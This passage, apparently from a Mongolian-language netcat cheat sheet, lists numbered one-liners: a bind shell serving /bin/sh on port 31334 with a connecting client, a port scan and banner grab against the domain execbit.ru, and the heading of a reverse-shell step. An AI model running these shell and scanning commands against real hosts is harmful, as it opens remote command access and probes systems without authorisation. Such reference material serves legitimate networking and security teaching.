$ nc -l -p 31334 -e /bin/sh $ nc 172.16.69.143 31334

4 Скан хийх нээлттэй портууд:

$ nc -z execbit.ru 1-1024

Баннер дээр суурилсан 5 хурууны хээний үйлчилгээ:

$ echo "QUIT" | nc execbit.ru 1-1024

6 Урвуу бүрхүүлийг зохион байгуул (эхнийх нь үйлчлүүлэгч, хоёр дахь нь сервер, гэхдээ бүрхүүл нь серверээс клиент рүү нээгдэнэ).